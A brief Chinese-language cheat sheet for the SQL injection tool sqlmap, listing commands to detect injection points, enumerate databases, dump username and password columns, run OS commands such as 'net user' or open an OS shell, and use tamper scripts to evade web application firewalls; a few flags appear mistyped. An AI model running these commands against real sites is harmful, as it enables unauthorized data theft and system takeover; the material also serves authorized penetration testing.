SQLmap基于Python编写,只要安装了Python的操作系统就可以使用它。
一、SQLMap判断是否存在注入
1、 sqlmap -u "http://XXXXXXX?id=1"
如果存在注入点,将会显示Web容器、数据库版本信息。
2、读取数据库:sqlmap -u "http://XXXXXXX?id=1" --dbs
3、查看当前应用程序所用数据库:sqlmap -u "http://XXXXXXX?id=1" --current-dbs
4、列出指定数据库的所有表:sqlmap -u "http://XXXXXXX?id=1" --tables -D "admin"
5、读取指定表中的字段名称:sqlmap -u "http://XXXXXXX?id=1" --columns -T "user" -D "admin"
6、读取指定字段的内容:sqlmap -u "http://XXXXXXX?id=1" --dump -C "username,password" -T "user" -D"admin"
--dump参数意为转存数据,-C参数指定字段名称,-T指定表名,-D指定数据库名称。如果有数据库关键字需要加上"[]",如[User]。
读取数据后,数据会存到sqlmap/output/下。
二、SQLMap的一些参数
1、测试注入点权限
测试所有用户的权限:sqlmap -u URL -- privileges
测试a用户的权限:sqlmap -u URL -- privileges -U a
2、执行shell命令
sqlmap -u URL --os-cmd="net user"
系统交互的shell:sqlmap -u URL --os-shell
3、执行sql命令
SQL交互的shell,执行sql语句:sqlmap -u URL --sql-shell
sqlmap -u URL --sql-query="sql"
4、POST提交方式
sqlmap -u URL --data "POST参数"
5、显示详细的等级
sqlmap -u URL --dbs -v 1
-v 参数包含7个等级。
0:只显示Python的回溯、错误和关键消息。
1:显示信息和警告信息。
2:显示调试信息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容。
6、注入HTTP请求
sqlmap -r test.txt --dbs
test.txt 的内容为HTTP请求。
7、注入等级
sqlmap -u URL --level 3
8、使用sqlmap插件
sqlmap -u URL -tamper "插件名称"
插件一般都保存在sqlmap目录下的tamper文件夹中,通常用来绕过WAF。